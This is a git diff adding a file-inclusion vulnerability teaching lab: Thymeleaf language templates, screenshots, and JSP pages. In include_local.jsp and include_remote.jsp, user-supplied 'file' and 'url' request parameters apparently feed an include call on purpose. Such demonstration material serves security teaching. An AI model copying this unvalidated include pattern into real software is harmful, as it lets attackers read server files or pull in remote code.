diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/cn/index.html" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/cn/index.html"
new file mode 100644
index 0000000..39109c0
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/cn/index.html"
@@ -0,0 +1,11 @@
+
+
+
+ Cn Admin index page!
+
+
+Hello Admin
+
+
+
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/en/admin.html" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/en/admin.html"
new file mode 100644
index 0000000..d7e65dc
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/en/admin.html"
@@ -0,0 +1,11 @@
+
+
+
+ En Admin page!
+
+
+Hello En-Admin
+
+
+
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/en/index.html" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/en/index.html"
new file mode 100644
index 0000000..a948b70
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/en/index.html"
@@ -0,0 +1,11 @@
+
+
+
+ En Admin index page!
+
+
+Hello Admin
+
+
+
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/test.html" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/test.html"
new file mode 100644
index 0000000..b13c1a6
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/test.html"
@@ -0,0 +1,11 @@
+
+
+
+ Hello World!
+
+
+Hello
+
+
+
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/1.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/1.png"
new file mode 100644
index 0000000..f3fc43f
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/1.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/10.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/10.png"
new file mode 100644
index 0000000..aa1f717
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/10.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/11.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/11.png"
new file mode 100644
index 0000000..59c85db
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/11.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/12.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/12.png"
new file mode 100644
index 0000000..27ca759
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/12.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/13.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/13.png"
new file mode 100644
index 0000000..4675e07
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/13.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/14.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/14.png"
new file mode 100644
index 0000000..48f85c7
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/14.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/15.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/15.png"
new file mode 100644
index 0000000..cdaa77b
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/15.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/16.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/16.png"
new file mode 100644
index 0000000..fcde230
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/16.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/17.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/17.png"
new file mode 100644
index 0000000..08f7e5b
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/17.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/18.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/18.png"
new file mode 100644
index 0000000..f99b7e1
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/18.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/19.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/19.png"
new file mode 100644
index 0000000..85df171
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/19.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/2.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/2.png"
new file mode 100644
index 0000000..1e5d4f9
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/2.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/20.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/20.png"
new file mode 100644
index 0000000..b91f8f1
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/20.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/21.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/21.png"
new file mode 100644
index 0000000..28b3a37
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/21.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/22.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/22.png"
new file mode 100644
index 0000000..74d6188
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/22.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/23.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/23.png"
new file mode 100644
index 0000000..7695fe0
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/23.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/24.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/24.png"
new file mode 100644
index 0000000..2c86456
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/24.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/25.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/25.png"
new file mode 100644
index 0000000..6cb71aa
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/25.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/3.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/3.png"
new file mode 100644
index 0000000..c1f8868
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/3.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/4.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/4.png"
new file mode 100644
index 0000000..ac9b500
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/4.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/5.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/5.png"
new file mode 100644
index 0000000..0dc51b2
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/5.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/6.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/6.png"
new file mode 100644
index 0000000..b389131
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/6.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/7.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/7.png"
new file mode 100644
index 0000000..3ba8f49
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/7.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/8.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/8.png"
new file mode 100644
index 0000000..1b3b919
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/8.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/9.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/9.png"
new file mode 100644
index 0000000..d4e1fc6
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/9.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/1.png" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/1.png"
new file mode 100644
index 0000000..9c5f0ae
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/1.png" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/META-INF/MANIFEST.MF" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/META-INF/MANIFEST.MF"
new file mode 100644
index 0000000..5e94951
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/META-INF/MANIFEST.MF"
@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Class-Path:
+
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/WEB-INF/web.xml" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/WEB-INF/web.xml"
new file mode 100644
index 0000000..12ac295
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/WEB-INF/web.xml"
@@ -0,0 +1,14 @@
+
+
+ include
+
+ JAX-RS Tools Generated - Do not modify
+ JAX-RS Servlet
+ com.sun.jersey.spi.container.servlet.ServletContainer
+ 1
+
+
+ JAX-RS Servlet
+ /jaxrs/*
+
+
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/data.txt" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/data.txt"
new file mode 100644
index 0000000..51993f0
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/data.txt"
@@ -0,0 +1 @@
+本地包含测试页面
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/include_local.jsp" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/include_local.jsp"
new file mode 100644
index 0000000..8fa7002
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/include_local.jsp"
@@ -0,0 +1,19 @@
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+
+<%
+ String file = request.getParameter("file");
+%>
+
+
+
+
+
+
+
+ JSP 文件包含测试(本地)
+
+
+
+File Include Test Page.
+
+
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/include_remote.jsp" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/include_remote.jsp"
new file mode 100644
index 0000000..2acf8c9
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/include_remote.jsp"
@@ -0,0 +1,27 @@
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
+
+
+
+
+ 远程文件包含测试
+ <%
+
+ String url = request.getParameter("url");
+
+ %>
+
+
+
+
+
+
+
+
+
+
+
+
+This is my JSP page.
+
+
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/index.jsp" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/index.jsp"
new file mode 100644
index 0000000..774f8fe
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/include(jsp)/index.jsp"
@@ -0,0 +1,26 @@
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+<%
+String path = request.getContextPath();
+String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
+%>
+
+
+
+
+
+
